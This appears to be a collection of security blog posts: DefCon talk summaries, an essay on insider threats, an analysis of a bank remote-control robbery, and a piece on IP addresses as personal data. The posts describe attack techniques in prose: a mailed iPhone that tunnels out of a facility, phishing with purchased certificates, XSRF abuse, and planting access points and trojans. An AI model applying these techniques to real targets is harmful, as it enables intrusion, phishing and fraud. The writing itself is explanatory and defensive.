Having finished up with the BlackHat briefings, it was time to go on to DefCon.  While many of the speakers from BlackHat stay on for DefCon, there’s also a lot of DefCon-only presentations, usually with a more attack-oriented focus (in keeping with DefCon’s nature as a hacker convention rather than a security conference like BlackHat.)

The day began with Hacking E.S.P. (Educational Software Packages.)  Schools, by their nature, have sensitive PII data — transcripts, schedules, billing information, etc.  A lot of this data is either stored directly in web-based educational software used by students, or is stored in other systems students access… probably with the same password.  Overall, though, this was a pretty typical application service provider hacking presentation — many of the schools they investigated used the same software on their sites, and that software was often woefully bad: Passwords sent “encrypted” in Base64 encoding — and not even that if JavaScript is turned off.  Trivial session stealing via Hamster-style sidejacking, with the added bonus that the Session ID is set before login so you can steal a session ID then wait for someone to use it.  Copious cross-site scripting vulnerabilities to allow for cookie stealing.

Generally someone would have to have a login on such a system to be able to exploit these things.  However, the username/password scheme is often helpfully revealed on the front page, and some schools even allow you to create your own account on the system. Google showed 34,000 instances of this one flawed software package alone.  Considering as schools account for 34% of data breaches, this sort of buggy software is probably commonplace.

The second presentation I attended was about Adobe local shared objects.  In short, these are Flash cookies.  Just as your browser will store small data items (cookies) for a website, and return those items to the website when asked, Adobe Flash has a similar mechanism for Flash applets.  However, since these are stored by Flash and not by the browser, your browser doesn’t manage them — there is no indication to the user what data is being stored, and the data is not removed when you delete cookies or “private data” in your browser.  Ad networks have used these to “back up” your cookies — if you delete them, they are restored from a Flash local shared object when you next visit a site with the ads on it.  These are also hard to filter for systems like Privoxy and other anonymizers, because Flash uses a proprietary encoding for its XML RPC calls, in which the local shared objects are embedded.

On the bright side, there is a Flash applet on the Adobe site called Flash Settings Manager that will let you delete these objects and put in settings to manage them.  On the not-so-bright-side, this is in-band signaling (i.e. Flash is configured by a Flash applet), so any advertiser can override your settings later.  Also, as you may recall from the RIA presentation at Black Hat that I discussed earlier, there are a lot of other local storage mechanisms besides this one in Flash — Silverlight, HTML 5, and other frameworks also have local storage that is outside your browsers’ ability to manage.

I next attended a presentation about vulnerabilities in TOR, the onion-routing anonymity provider originally developed by the Department of the Navy and until recently maintained by the EFF.  TOR has become quite popular, at this point containing 1,500 relays and 200,000 users.  However, over the last several years, it’s seen several vulnerabilities that have threatened the anonymity it provides:

• 2004: Error in how AES counter mode was used resulted in cryptography with only 16 bits of entropy.
• 2005: A relay cell length overflow could be used to force an exit node to send contents of memory
• 2005: Diffie-Hellman handshake bug in OpenSSL didn’t check for trivial keys, so a malicious entry node could mount a man-in-the-middle attack
• 2006: By running several fast TOR servers, an attacker could end up as both entry & exit node for a user, thus compromising anonymity and potentially finding hidden services.  The fix for this was the addition of “entry guards” — trusted entry nodes that are re-used by users.
• 2006: Clients could create or extend channels even if server mode was turned off
• 2007: “Stable” or “Guard” status, normally applied to the top n nodes, could be stolen by malicious nodes by claiming high uptime and bandwidth.  The fix for this was to put in thresholds above which a node always gets guard status, rather than making it a top n calculation.
• 2007: XSRF attacks by web sites could make use of the TOR control port
• 2008: Nodes could be made to connect to their own public IPs
• 2008: The Debian OpenSSL PRNG flaw compromised 300 of the 1,500 relay identity keys, and 3 of the 6 directory authority keys.  If one more authority key had been compromised, someone could have taken control of the network

There are still some outstanding issues in TOR:

• You can build infinite-length circuits and use them as a DOS multiplier
• Snooping on exit relays works — if someone uses an insecure protocol that gives away their identity (like POP… or even HTTP depending on what they send), TOR won’t necessarily protect them.  This isn’t a bug in TOR, but just the nature of what it does — no software package will give totally anonymous communication if the communication itself gives your identity to the recipient.
• People who run relays are unknowns — there is no way to know how many are malicious.  However, TOR depends on having a large, diverse set of servers, so making more restrictions on who can run servers might actually lower, rather than raise, the network’s secuirty.
• Exit relays sometimes end up in restricted space (e.g. behind China’s firewall) — which means TOR users get restricted, too.
• Many users of TOR toggle it on and off during a single browser session.  However, a JavaScript refresh attack on one of the non-TOR sessions can sometimes retrieve data from the previous TOR session.
• Firefox bugs leak data, and that data doesn’t go through TOR, since on Windows it works as an HTTP proxy.  Users can work around this by proxying their entire network stack through a VPN connection like a JanusVM.
• It’s possible to block access to TOR.  If an adversary (say, the Chinese government) filters out the directory authorities, the download site, and all the relays, it’s very hard to get on.
• If you can see both input and output (by running many, many nodes, or having a massive filtering apparatus at the Tier3 ISPs — FBI, maybe?) traffic confirmation is easy.  (i.e. if I already suspect you, specifcially, of doing something, I can confirm you did it much more easily than I can “go fishing” for people doing unknown bad things.)  Defensive dropping or adaptive packing would help with this, but would raise TOR’s latency.
• You can fingerprint websites based on the size & response time of the pages and tell what people are doing via traffic analysis.
• A congestion attack by a website can find TOR nodes, and coupled with latency analysis on routers, can find the person communicating.
• Data retention laws in many countries are resulting in data being stored that could make traffic analysis easier.

So, with all these problems in TOR, does that mean we shouldn’t use it?  Not at all!  The known vulnerabiliites currently outstanding would apply to any low-latency mix network.  They’re not bugs in TOR, they’re limitations in this approach to anonymity, which remains better than any other approach to anonymity known.  TOR isn’t perfect, it’s just better than everything else.  Now, there may be better approaches to specific problems (e.g. there is one particular adversary you want to hide from, not just people in general), but for general anonymity, you still can’t beat TOR, even with its flaws.

I unfortunately missed much of strace and RSnake’s presentation on Google Gadgets.  In short, gadgets are pieces of HTML and JavaScript code hosted on third-party sites and brought into a Google-owned namespace.  Though this namespace doesn’t have direct access to Google cookies, the fact remains that it’s loading unknown JavaScript onto a Google page — it’s basically XSS-by-design.  Gadgets can communicate with or post to other users and gadgets on Google, and it turns out to be pretty easy to sneakily force a user to install a gadget onto their Google homepage.  If someone could crack a server hosting a trusted gadget, they could take control of the data of many Google users simultaneously.  Most of these vulnerabilities would apply to any gadget-based architecture, such as the Live start page, or Facebook’s apps, too.

The next presentation I attended was “Satan is on my Friends List,” about attacking social networks.  In short, social networks are full of promiscuous and pervasive trust relationships, which results in a large number of business logic flaws.  These attacks aren’t on code vulnerabilities like SQL injection, but rather just exploiting how the systems work.

Sites often don’t protect “non-sensitive” operations, like logging out or adding friends, from XSRF attacks.  Thus, it’s possible to craft comments that log out anyone who views them… which makes it rather hard to delete them (since you have to be logged in to delete a comment.)  XSRFs can be put into image links, meta refresh tags, IFRAMEs, etc.

In addition, social networks are ideal platforms for social engineering attacks.  Build a plausible profile for someone else using social and public sources, and then friend a few dozen people who are known to friend everyone right back to build a “respectable” number of connections.  Joing groups, and start friending real associates of the person being impersonated.  At that point, you have a web site that can be used to confirm your identity as someone else.

The Facebook and OpenSocial APIs for integrated social apps are also good avenues for attack.  They have convenient APIs and execute arbitrary code by design — the social networks don’t care about application malware, as it’s on a second domain and they’re legally protected by their EULA.  However, if you widely distribute an app based on some current meme, get hundreds of users, then replace that app in-place with malware, you have an instant social network botnet.  You can use them as open redirects, put phishing items on their social network page, etc.  Also, applications have all the access that friends do — just the data disclosure may be enough for identity theft, impersonation, or at least some minor mayhem.  They can publish to a user’s profile to infect others, too.

Unfortunately, the fixes for these issues are just what the social network sites don’t want to hear — less external content, reduced API functionality, no opt-in security models, review and lifetimes for applications, etc.  Thus, these vulnerabilities are probably here to stay.

The last presentation I attended was by Errata Security, about interesting penetration tests.  Modern penetration tests are “supposed to be boring” — they’re often done for the purpose of meeting compliance objectives, so companies are mostly interested in meeting a checklist, not in security.  They want to be secure against likely attacks and “script kiddies,” but are not interested in making the kinds of expensive changes required to defend against a determined, well-funded adversary.  The main exceptions are government agencies and Wall Street, who know they’re the targets for those determined adversaries.

Maynor & Graham walked through a couple of interesting things they did as part of penetration testing.  One of these involved hacking the well-firewalled network of a company that was based at a secure facility, one where they could not simply walk onto the premises.  Instead, the wired an iPhone to a UPS battery and put it into the original iPhone packaging, then mailed it to the company.  With a UPS battery, an iPhone can run for 5 straight days with the WiFi on.  They modified the phone to add tcpdump and APlogger, and added a cron job that would send an SSH tunnel out to their computers every hour over the AT&T EDGE connection.  The result was a WiFi sniffer & endpoint inside the “secure facility” from which they could scan the internal network and run Metasploit to break into things.  An iPhone, after jailbreak has been run, is essentially a tiny BSD box — a perfectly suitable hacking platform.  Who thinks about their network being hacked by a cardboard box in the mailroom?

They also built a better phishing site.  Even security-aware people who are looking for phishing sites look for a valid SSL certificate bound to the site and signed by a trusted authority.  However, all it takes to get a real SSL certificate signed is about $2,700.  Start a business, register with Dun & Bradstreet to get a credit rating, then apply for a real certificate from VeriSign or Thawte.  You can even sign ActiveX controls and require users to install them as a “secuirty feature.”  Since so many banks and companies outsource their applications or their HR and IT infrastructure, a phishing site with a good certificate is often indistinguishable from an outsourced site.  Just send someone at the comapany an email saying that the company has changed 401(k) providers, and they need to go to this outsourced site and sign up.

As is customary with DefCon, there wasn’t much talk about how to prevent these vulnerabilities.  However, it gives you something to think about, and it’s often very hard to guard against clever attacks against business logic flaws.  There’s no substitute for good threat modeling and flexible thinking.

On January 21st, 2008, the major French bank Société Générale lost $7.09 billion attempting to unwind unauthorized trading positions taken by Jérôme Kerviel, a futures trader with the bank. Kerviel had taken positions worth $73.3 billion, far above not only his trading limits but the bank’s entire market capitalization. The loss taken by unwinding the positions during a declining stock market was the largest rogue trader loss in history, dwarfing the $1.4 billion loss by Nick Leeson that collapsed the venerable Barings Bank in 1992.

For all that we in the security industry picture threats coming at our companies from without, sometimes the greatest threats lie within. No external hacker has ever done the kind of damage that rogue insiders like Kerviel and Leeson are capable of, yet we focus on putting firewalls around our companies, rooting out worms and viruses, and securing our websites. While these are undoubtedly important, it is equally important to protect against internal adversaries — and often much more difficult.

The Problem of Trust

Companies must trust their employees — without the employees, there is no company. Accountants and traders are trusted with financial records, system administrators and information security personnel are trusted with access to critical files, physical and cleaning personnel are trusted with physical access to the facilities, and managers are trusted with company secrets, strategy, and intentions.

IT employees and developers are specialists.  As systems increase in complexity, those trusted with building and maintaining those systems are required to obtain knowledge further and further from most people’s understanding. Often, knowledge of how to build and maintain these systems also involves the knowledge of how to subvert them. IT engineers and developers know how their systems break down — they know their weak points, where they’re being watched and monitored, and where no one is looking. This problem isn’t unique to information technology — an aircraft mechanic probably knows how to sabotage a plane without leaving a trace, and members of police and military bomb squads are experts on explosives and what cannot be detected or tracked. And as recent news has demonstrated, traders in brokerages and banks know how the internal controls of their corporations work, and where they break down. Internal attackers are thus the most dangerous of all — they are already equipped with the kind of domain knowledge that an external attacker might need to spend weeks or months gathering.

Although we cannot entirely abandon trust in a company’s employees, we should consider where this trust comes from and whether or not it is warranted. Many companies sharply divide the level of trust and privilege given to employees vs. that given to contractors and vendors within their IT and development departments. The theory is that employees are allied to the company for the long term, and compensated with long-term benefits like retirement plans and vacation time that they will be unwilling to risk for short-term gain while vendors and contractors have less loyalty since they come and go as needed. However, in today’s IT world, is this really the case? I do not doubt that the contractors feel little loyalty for the company, but it is increasingly doubtful that the employees do, either. The average IT employee’s tenure at a corporation is now under 18 months — and thus they place little value on long-term benefits. Books like Corporate Confidential advise employees to view their employment relationship as, if not outright adversarial, at least mutually exploitative, to be dropped by either party as soon as it becomes in their interest to do so. Employees see that corporations no longer feel loyalty to them — the days of the job for life are over — and so loyalty to the corporation has gone as well.

Of course, lacking a strong sense of corporate loyalty does not lead most employees to embark on rogue-trading schemes, steal from their employers, commit electronic sabotage, etc. And even in the 1950s heyday of the organization man and the corporate family, some people took advantage of their employees and ran off with stolen fortunes. Some people are thieves and will steal given the opportunity no matter how well-treated they may be. Others are incorruptible, bound by their own moral code that would prevent them from stealing regardless of opportunity.  The vast bulk of humanity, though, is somewhere in between.

These employees are not likely to become attackers, and trusting them is a necessary part of doing business. However, this trust need not be absolute — we can trust, but verify. While we may not be able to prevent every internal attack, we can deter them, and make them less likely to occur. Steps can be taken to help keep most people honest, reducing both the incentive and the opportunity for theft.

Building Employee Loyalty

The days of the job for life and absolute loyalty to the corporation are probably over for good, inasmuch as they ever existed at all. However, the fact remains that internal attacks, particularly those not motivated by theft but rather simple vandalism, are much more likely to be carried out by disgruntled and angry employees than by content ones.

IT employees and developers are sometimes a strange breed — the sort of person that chooses to spend their time with technology is often different from the sort of person who chooses to be a manager.  So if it’s not a good retirement plan, an increase in vacation time after 5 years, and a promise of stability and long-term employment, what does build loyalty and goodwill with technical employees?

(Of course, any generalization about a type of person is going to be more accurate for some people than others, but I’ve found these to be useful rules of thumb for dealing with technology employees.)

• Autonomy. Figuring out how to do things is precisely what geeks enjoy about work — tell them what you want, not how you want them to achieve it.
• Isolation. Technologists, all told, are not very social. They do their best work when left alone. The cubicle is a horrible environment, giving you all the obstacles to collaboration of offices but without any of the privacy. Offices are ideal for most development work, the only exception being the early stages wherein there’s a lot more collaboration and brainstorming than actual coding.
• Technology. People who love technology want to be on the cutting edge. Using current technology makes them more invested in their jobs. In addition, it’s worth investing in the technology they’ll use every day — their workstations, displays, etc.

These are important, but will not, of course, make every employee perfectly happy. There are some things that technical employees have no patience for at all:

• Arbitrary or emotionally-driven decisions.  Using an older, inferior, or simply less appropriate tool (e.g. programming language, web framework) because “the boss likes it,” “we’ve always done it that way,” or “we’re a [insert product here] shop” really upsets them.  They need real-world reasons for using a technology, like technical benefits or budgetary limitations.
• Anything perceived as unfair. If employees feel they’re paid less than market value, or that someone else who’s not as good as they are is paid more, this breeds resentment. Trying to keep salaries secret helps not at all — today’s employees, especially younger ones, for the most part don’t understand why salaries should be kept secret, and thus will totally disregard any order to do so. It is important that technical employees see cause and effect in review processes, compensation, etc. and have a clear idea of how their performance is being assessed.
• Internal politics.  Engineers want to get things done, and they don’t care overmuch who does them — when engineering solutions, they’ll totally ignore interdepartmental boundaries. Having to worry about some manager’s fiefdom-building gets in the way of technical work and is relatively incomprehensible to them.

When it comes to performance management, technical employees need to be told, directly and clearly, how they’re doing and what needs improvement (if anything. ) Not being people-oriented, they often can’t read you. They don’t know if you’re happy with them or not unless you tell them, and they’re certainly not going to ask. While they deal extremely well with technical ambiguity — they love to solve problems, so an incoherent mess from a technical perspective is just a challenge to overcome — they don’t deal well at all with ambiguity in other contexts. Clear expectations and consistent feedback make their job simply another a problem to be solved, which makes it much more satisfying to them.  Without this feedback,

For many managers, these may seem like obvious guidelines — but they’re often problems in companies, particularly in IT and development departments of nontechnical companies. These factors mean a lot to many technical employees — often a lot more than traditional compensation. The best prevention against malicious insiders is to keep the insiders from becoming malicious in the first place by ensuring that the company earns their trust and respect.

Reducing Opportunity for Attack

Unfortunately, no matter what your company does, some people aren’t going to love their jobs. In addition, presented with the opportunity to steal, people are going to be tempted — and the greater the opportunity, the greater the temptation. Thus, it is important to reduce the opportunity for theft.

The traditional information security controls are often useless against insiders. The firewall provides no protection at all against someone already inside. Anti-virus and anti-malware systems matter not at all to someone who doesn’t need to gain access to a PC on the network, as they already have access legitimately. Network access controls are impotent against the domain administrator, who has the authority to alter access control lists at will. Obfuscation and hiding secret data provides no defense against the developer tasked with performing the obfuscation and hiding.

Fundamentally, a system designed to provide security always involves an implied question — secure from what? The vault door in a bank secures against burglars coming in in the night — not against the bank manager turning rogue. Alarms secure against armed robbers, not against tellers sneaking cash out of the drawer. Security cameras watch the tellers, but do no good against computer hackers or fraudsters. Reducing the opportunity for insiders to attack the company means considering how insiders differ from outsiders, and what security measures may be employed against them.

The primary advantages of an insider are twofold: knowledge and authorization. They have knowledge of the defenses — Jérôme Kerviel had worked in Société Générale’s internal audit and control department, so he knew exactly how they searched for and detected rogue trades. And they have authorization in that an internal attack often does not involve any sort of elevation of privilege — only an employee misusing their legitimate authority. Even the right to be inside the building, rather than having to break in through a firewall, is a measure of authority an outsider lacks.

However, insiders also have a disadvantage as compared to outsiders: proximity. It is often much easier to verify a suspicion that someone has committed a crime than it is to find the culprit to begin with. As is often depicted in crime dramas and classic mystery plots, investigators have a much easier time finding out who committed a crime when they have specific suspects to question and investigate than when a crime is committed by a random stranger with no known connection with the victim. Fingerprints and DNA evidence do little good if you have no suspect to compare them to. The same goes for electronic forensics — a hacker will often leave plenty of evidence of their activity on their own computer, and a monitoring device at their ISP would likely detect their activities. However, if the hacker is external, or even in a foreign country, as a security professional you’re unlikely to have any idea where their computer is, let alone have access to it. When an insider attacks, on the other hand, the traces can be very obvious. Attacks come from IPs within your perimeter, and your own monitoring equipment might have seen the entire attack end-to-end. The simple fact that there are only so many people inside the company capable of mounting an electronic attack limits the suspects and allows each to be investigated.

Smart insiders know this. While an outsider may believe he is able to hide from detection simply by being a needle in a haystack (how many companies really inspect all their edge firewall logs, even with an automated process?), an insider knows that he’s under observation and has a substantial chance of getting caught. Thus, he will almost always take steps to cover their tracks — steps an outsider would take, too, but the insider has the advantage of legitimate authorization to bolster his abilities.

Deterring internal attackers, then, involves neutralizing their advantages while maximizing their disadvantages. There is little to be done about their first advantage (knowledge of internal procedures), but actions can be taken to mitigate the power of legitimate authorization and to maximize the disadvantage of proximity.

Preventing Abuse of Legitimate Authority

Developers can modify the source code of your product — that’s what developers do. System administrators can change permissions on files and access secured areas — that’s their job. However, no one person should have the ability to do everything — this is the principle behind separation of duties.

Separation of duties enables legitimate tasks to be carried out while making it more difficult for these same powers to be abused. There are three basic controls that can be placed on a power to help prevent abuse:

• Authorization: determines if a person has the right to perform a task
• Recording: keeps a record of when, how, and by whom the task has been performed
• Custody: actually carries out the task

For example, imagine your company needs to deploy new code to a server in a datacenter. The person responsible for the authorization function sets the access control policies on the various machines to determine who has access. The person or system responsible for the recording function makes entries in change-control logs so that it is clear what has been done. The person with custody of the system actually places the new files on the server. In a small company — or one with poor internal controls — these could all be the same person.

If these tasks are all handled by the same person, the potential for abuse is very high. If this person wants to propagate malicious code to the servers that monitors transactions or even steals money from accounts, he can do so. He can authorize himself or another (possibly even a fake account) to make any change desired, carry out the task, and then erase or suspend the logs or records of not only the action but also the authorization changes.

On the other hand, if separate people are responsible for each of these tasks, none of them is capable of perpetrating a fraud on their own. This process could be organized as follows:

• A product team or business owner is responsible for developing the system and determines who can modify the code.
• A division of the IT department is responsible for all audit logging throughout the environment, regardless of who owns the particular servers.
• An operations engineer is responsible for actually placing code on the servers; the developers never have access directly to the production datacenter.

This makes fraud much harder. A member of the product team can tamper with the code, but has no way to actually get it into the datacenter. An operations engineer can access the datacenter, but lacks access to the code. And either one making a change leaves a trail — since audit logging is controlled by another team within IT, neither are able to turn auditing off or simply overlook suspicious entries.

Maximizing the Chance of Detection

Separation of duties limits the ability of a person with legitimate authority to abuse it. However, the is another thing that can be done to those people with the ability to abuse their authority from actually doing so — cause them to believe they are likely to be caught. Internal attackers know what audit and logging systems are being used within an environment, and they know where the “blind spots” in those systems are. Many criminals commit a crime only when the opportunity presents itself.  By eliminating failures in monitoring, we eliminate temptation as well as improving our forensic abilities.

Most of the systems used in a modern IT environment have extensive auditing capabilities. (Note that I am using the word “auditing” in the sense of creating an audit trail, not in the sense of some external consultant or accountant reviewing that trail.) Windows machines create an event log of almost everything that happens on them; in an ActiveDirectory domain, security events are also logged on the domain controller. UNIX/Linux/Solaris machines create various system logs, and have the ability to send them to remote machines as they occur. Databases like Oracle and SQL Server have fine-grained audit capabilities and are able to record every access to sensitive data and even detect potential data aggregation attacks. Web servers record every access, as do keycard-based entry control systems, VPN concentrators, firewalls, and a variety of network devices. An attacker, even an internal one, leaves a bewildering array of changes, alerts, and traces every time he does anything.

However, this does little good if no one notices the tracks! In addition, they are often ephemeral — a Windows Security Event Log will grow too large and begin overwriting itself in a matter of hours in a large corporation. If the logs are not available to investigate an incident, they might as well not exist at all.

One of the most powerful ways a company can prevent internal attacks is with the implementation of a Security Information and Event Management product. There are several of these on the market (I have experience implementing the SenSage event data warehouse, but ArcSight, Symantec, IntelliTactics, Computer Associates, and others have competing products,) but the idea behind all of them is to gather event data from a variety of sources and aggregate it in one place. This has two major advantages:

• The data is centrally managed by a separate custodian than the one that controls the various systems it came from, thus providing separation of duties.  The system administrators of the systems creating the logs cannot tamper with the logs.
• Data from disparate sources is correlated together, thus detecting attacks in progress and tracing attacks back to their source during an investigation.  Forensics is made easier and more effective.

Different SIEM systems have different advantages, and while all will provide separation of duties, some are better at handling massive data volumes than others. Likewise, the data mining involved in event correlation is still a black art in many cases, so different systems have different capabilities in that regard. However, just knowing that a SIEM exists, is monitored, and is out of reach for would-be fraudsters to tamper with can be a powerful deterrent against rogue employees.

Conclusion

The possibility of internal attacks is an unfortunate consequence of the specialization of modern society — those with the capability to build and maintain complex systems are often those best able to compromise and abuse them. However, good design of internal controls centered around separation of duties combined with judicious use of technical information-management solutions greatly reduces the opportunity for insiders to turn against a company’s infrastructure.

The AP has a story about an electronic bank robbery foiled when a bank employee pulled the plug on the robbers’ network connection.  Apparently the robbers had gained physical access to the employee’s workstation at some point, and installed “advanced technical equipment” underneath the desk to remotely control the computer.

I would guess that the “advanced technical equipment” consisted of a cheap consumer wireless access point.  The attack probably went something like this:

• Gain unsupervised access to the machine in some way, either by breaking in or by impersonating someone with legitimate physical access (e.g. a cleaning crew.)  Perhaps it’s an inside job and one of them does have legitimate physical access.
• Install a wireless access point behind one of the computers configured as a network bridge, so it can be remotely accessed without setting foot in the bank.
• Bring the computer up offline (using some external boot media so no passwords are required) and install a remote-control Trojan — either some VNC variant or a system designed for use as a surreptitious Trojan like CdC BackOrifice2K.
• Wait until the next day when the user has authenticated but walked away from their computer, take control of it from a van across the street, and begin transferring funds.

As for the somewhat dramatic line “By pulling out the cable to the device, the employee managed to stop the intended transfer at the last second,” this is obviously meant to evoke movie scenes where there’s some progress bar on the screen marked “Transferring funds…” that gets interrupted at 99% by the heroic employee cutting the cable.  However, what’s more likely is that the employee looked at his computer, noticed the mouse moving on its own, clicking buttons to transfer funds and entering in an amount.  Before the button to confirm the transaction could be pressed, the remote control was disconnected so the transfer was never started.

This is an interesting attack in that it doesn’t really fit the profile of a traditional bank robbery, but neither is it a completely electronic theft.  The attackers had to have had physical access to the bank, but they didn’t use it to get at the money — they used it to get to the computers.

Security measures are targeted.  The bank’s physical security consists of cameras watching teller stations and heavy vault walls and doors guarding the money.  This is targeted at stopping two attacks — the vault stops simple burglary (walk in at night and grab the money), while the cameras detect employee fraud by tellers and armed robbery by customers.  Meanwhile, the bank’s electronic security consists of firewalls, intrusion detection systems, and access control systems that stop people from outside the bank from accessing the systems.

This attack went around both.  The physical security was not set to stop people tampering with desktop computers — there’s no money there!  Someone was thus able to either sneak in or social-engineer their way to the desk and tamper with equipment undetected.  The electronic security is not meant to stop someone actually sitting at a computer who has logged in with legitimate credentials — they’re supposed to be able to move money around.  By combining an electronic breach with a physical one, the attackers managed to be “sitting at the computer” while actually nowhere near it.  It’s an ingenious plan, and one of those rare cases where a rather elaborate “heist movie plot” sort of attack was attempted.

They were stopped by one of the most powerful countermeasures available — a vigilant employee.  However, there is a lesson to be learned from this: Physical security is important!  If an attacker has unmonitored physical access to hardware, he can modify it to do anything he wants.  No passwords or credentials are needed if he can reboot the system with a flash drive or CD-ROM.  How many of your company’s electronic countermeasures would be rendered useless by an attacker who could remotely control a computer inside the perimeter, or even just had a network tap to the internal network behind the firewall?  In most companies, it’s not too hard to gain physical access, usually by impersonating a service employee of some kind (janitorial staff, phone company employee, etc.)  Presumably the attackers who had physical access were in a hurry, since they put the AP under the same computer they were controlling; with more time, they could have compromised one computer and hidden the AP somewhere entirely different, making it harder to find and pull the plug.  Of course, if the employee was thinking clearly (and he probably was, since he thought to pull the plug at all), he still could have simply switched the computer off, so this wouldn’t have done a lot of good.

Also, it’s worth periodically searching for rogue access points.  Not only might an attacker install one deliberately, but employees in businesses without wireless networks have been known to install a wireless AP under their desks simply for convenience.  Often, these are configured very poorly, with no security or encryption at all.  Rogue APs can be detected in a variety of ways; if you have the luxury of having access to a product like Aruba Networks’ RFProtect (which was called Network Chemistry last time I used it, but seems to have since been acquired by Aruba,) monitoring can be automatic and continuous.  If not, there are still open-source rogue scanners, and even simple tools like the aircrack-ng suite can be used to look around, though it’s considerably less automatic (and thus more time-consuming) to do it that way.

This also points out the importance of defense in depth.  Host-based firewalls and intrusion detection might detect an attack like this, but traditional perimeter defenses like firewalls and NIDS are useless against it.  Layers of security, designed to interfere with different types of attacks, always provide much more security than any single countermeasure.

Peter Scharr, Germany’s Commissioner of Data Protection and head of the European Union’s privacy working group, has stated that information identified only by IP address must be considered personally identifiable information. As the AP article points out, this could have rather serious implications for search engines and many other electronic businesses, and RSnake is concerned about it messing up the entire advertising business model of the Internet.

First, for those not working in the information security industry: something being classified as personally identifiable information (PII) is a big deal. If data is PII, you are liable for damages if the data is ever released, and you are required by statute to take significant and often expensive measures to protect it. If you’re a public corporation, Sarbanes-Oxley requires you to do all sorts of things to protect the data (e.g. encryption.) If your company takes credit card payments, the Payment Card Industry Data Security Standard requires you to do even more (e.g. physical protection of the hardware the data sits on, specific firewall/router configurations, etc.) Most large companies have their own standards for how PII must be protected that combine or even go beyond the regulatory and industry requirements. Overall, the required protections around PII are onerous enough that companies strive to minimize how much PII they have at all — it’s often cheaper and easier to just delete the data than to protect it the way you need to protect it. Companies must make the decision of “How much business value do we get out of storing, say, our customers’ addresses, and does it exceed the cost of protecting that data?” Often the answer is no.

On the surface, calling IP addresses PII is ridiculous. IP addresses are found on every packet anyone sends on the Internet; if IP addresses count as a personal identification, then logging basically anything about Internet traffic makes the logs PII. It takes a label currently applied only to a small amount of high-value data and applies it to something that everyone everywhere logs; it seems absurd. But as I think about it more, I’ve come to realize that Scharr has a point.

The EU is much more aggressive about privacy law than the United States. The United States Constitution guarantees privacy from the government through the Fourth and Fifth amendments; this sharply limits what the government can collect on you and what it can do with the data it does collect. However, there is no Constitutionally or legislatively defined general right to privacy — anyone can collect whatever data they want, so long as they’re not a branch of government. This is usually an adequate protection against government abuse, but it does mean the private sector can accumulate a frightening amount of data about you, and that could be prone to abuse as well. EU nations, on the other hand, often have a general right to privacy and various data collection expected in the United States is often illegal; in addition, where the data can be stored, sharing it with any third party without express user consent is almost always illegal.

If IP addresses are PII, what really happens? It requires changing a lot of current practices, but this is not the same as breaking scenarios. Remember, the privacy issue isn’t with transmitting or using IPs — it’s with storing them or sharing them with a third party.

• Currently search engines like Google use your IP to identify where you are geographically, so as to establish search profiles for regions and target ads. They store the first 24 bits of your IP (dropping the last octet) as a proxy for location. They would need to switch to storing a different proxy for location (e.g. latitude and longitude), though they could still base this proxy on your IP.
• Pay-per-click ad networks would still function. When they’re clicked, the ad network records the click (so as to be able to bill the advertiser), then issues a 301 redirect to the advertiser, who also records the click (to know it happened and the ad was effective.) These records would need to leave out IP, or be protected as PII. Lacking IP, however, would make detecting and preventing click fraud (spoofed clicks, or many clicks from the same person) much more difficult. Currently a skilled fraudster can evade IP-based click-fraud prevention, but losing even that would make click fraud easy. Also, without IP addresses, the ad networks would have a hard time proving to advertisers that clicks were real if an advertiser chose to sue them. Large ad networks would probably have to just eat the cost of protecting their logs as PII.
• Contrary to RSnake’s comment, I do not think this would affect embedded content. Embedded content comes in two forms — content linked to on a page, which your browser loads (objects), and content retrieved by the server and displayed on the page (mashups.)
  • In the object case (e.g. viewing a YouTube video on someone’s web page), the web site owner is not leaking your IP to the third party — you are. The web site is not sending your IP to YouTube at all; your web browser is sending it in response to a link tag in the page.
  • In the mashup case (e.g. web pages that get data from an API, like Facebook pages, pages embedding Google Maps, etc.), the web site owner is also not leaking your IP to the third party. You access the site, and then the site accesses the third party not as you, but as itself. The site leaks its own IP, not the customer’s. No PII is released.
• Sites that do user tracking (via logins simply recognizing users between sessions) would be unaffected; they use cookies, not IP, to track users. Most ad networks work this way, too.
• The biggest change, though, is to simple website logs. Currently every time you access any web page, it makes a note in a log of your IP and which site you accessed, which is used for statistical analysis, forensics, etc. Even this blog is doing it; with most web providers you can’t even turn this logging off if you want to. Sites will either have to stop doing this or take substantial steps to protect the logs (or else be subject to significant statutory liability if they don’t.) Not keeping logs is, from a security perspective, very dangerous — if something happens, you have no idea what happened and thus may not be able to fix it.

However, despite all that cost and difficulty, when you think about it… IP addresses really are personally identifying. If you have an always-on broadband ‘net connection, your IP address changes very rarely (maybe only once in several months), so all your web traffic everywhere, complete with your search queries, emails, etc., can be tied together with that number. Your ISP can connect that number to your name, address, etc. If you’re at a corporation, the IP is tied to a corporate gateway or proxy… which has logs tying each communication (based on date and time) to your desktop’s IP, which once again likely uniquely identifies you (unless you always compute from a shared machine.)

IP is a unique identifier for confirming identity, but not so much for initially finding it. In other words, if someone attacks my website, and I have only their IP address, it may not do me much good in finding out who they are unless I can get someone with subpoena powers to get it from the ISP. However, if I suspect a specific person of something, I can probably find out their IP and check it against my attacker’s IP, thus confirming their identity. Likewise, if I am an ad network or search engine with a lot of IP data, I don’t know who you are based on your IP, but the commonality in IPs between all the data I have may enable me to figure it out based on data aggregation.

I think this is a case where something is considered ridiculous merely because it changes things. Yes, a lot of business models and current practices would have to change if IP-as-PII became the default assumption. Yes, it would make some security people’s jobs harder, and cause web providers to incur a lot of costs. But does that mean it’s wrong? Perhaps what it means is that current businesses & web sites under-value their users’ privacy, and are freeloading while providing inadequate protections. It’s a different world if we have to discard IPs or protect them as PII, but I’m not convinced it’s a worse one.

The recent news from broadband providers seems to be all about how to make their product less appealing to customers.

First of all, the AP reports that AT&T is still considering filtering backbone traffic. They say they’ve noticed the massive amount of copyrighted data being shared over P2P networks, and feel a need to do something about it — “It’s like being in a store and watching someone steal a DVD. Do you act?” However, I think it’s likely that this is not just AT&T having an attack of conscience (not exactly something Ma Bell is known for), but rather AT&T being pressured by the usual suspects, the MPAA and RIAA.

They’re looking at this as a security problem — how do we stop unauthorized traffic (piracy) while allowing authorized traffic? From this perspective, it’s tractable — the technology exists to do it, albeit clumsily (you either miss a lot of piracy or you throw out a lot of legitimate traffic.) However, this is more than a security problem — there are legal and business problems here that in my opinion should overwhelm the security concern.

